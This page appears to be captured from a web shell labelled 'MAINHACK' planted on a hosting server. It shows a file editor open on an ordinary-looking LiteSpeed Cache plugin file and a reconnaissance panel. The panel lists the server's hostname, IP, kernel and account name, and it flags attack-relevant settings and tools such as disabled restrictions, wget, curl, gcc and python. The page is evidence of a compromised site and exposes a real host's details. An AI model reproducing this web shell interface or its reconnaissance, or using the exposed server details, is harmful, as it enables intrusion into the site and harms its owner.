[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: localization.cls.php
<?php /** * The localization class. * * @since 3.3 */ namespace LiteSpeed; defined( 'WPINC' ) || exit; class Localization extends Base { protected static $_instance; /** * Localize Resources * * @since 3.3 */ public function serve_static( $uri ) { $url = 'https://' . $uri; if ( ! Conf::val( Base::O_OPTM_LOCALIZE ) ) { // wp_redirect( $url ); exit( 'Not supported' ); } if ( substr( $url, -3 ) !== '.js' ) { // wp_redirect( $url ); exit( 'Not supported' ); } $match = false; $domains = Conf::val( Base::O_OPTM_LOCALIZE_DOMAINS ); foreach ( $domains as $v ) { if ( ! $v || strpos( $v, '#' ) === 0 ) { continue; } $type = 'js'; $domain = $v; // Try to parse space splitted value if ( strpos( $v, ' ' ) ) { $v = explode( ' ', $v ); if ( ! empty( $v[ 1 ] ) ) { $type = strtolower( $v[ 0 ] ); $domain = $v[ 1 ]; } } if ( strpos( $domain, 'https://' ) !== 0 ) { continue; } if ( $type != 'js' ) { continue; } if ( strpos( $url, $domain ) !== 0 ) { continue; } $match = true; break; } if ( ! $match ) { // wp_redirect( $url ); exit( 'Not supported' ); } Control::set_no_vary(); Control::set_public_forced( 'Localized Resources' ); Tag::add( Tag::TYPE_LOCALRES ); header( 'Content-Type: application/javascript' ); $res = wp_remote_get( $url ); $content = wp_remote_retrieve_body( $res ); if ( ! $content ) { $content = '/* Failed to load ' . $url . ' */'; } echo $content; exit; } /** * Localize JS/Fonts * * @since 3.3 * @access public */ public function finalize( $content ) { if ( ! Conf::val( Base::O_OPTM_LOCALIZE ) ) { return $content; } $domains = Conf::val( Base::O_OPTM_LOCALIZE_DOMAINS ); if ( ! $domains ) { return $content; } foreach ( $domains as $v ) { if ( ! $v || strpos( $v, '#' ) === 0 ) { continue; } $type = 'js'; $domain = $v; // Try to parse space splitted value if ( strpos( $v, ' ' ) ) { $v = explode( ' ', $v ); if ( ! empty( $v[ 1 ] ) ) { $type = strtolower( $v[ 0 ] ); $domain = $v[ 1 ]; } } if ( strpos( $domain, 'https://' ) !== 0 ) { continue; } if ( $type != 'js' ) { continue; } $content = str_replace( $domain, LITESPEED_STATIC_URL . '/localres/' . substr( $domain, 8 ), $content ); } return $content; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.16 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830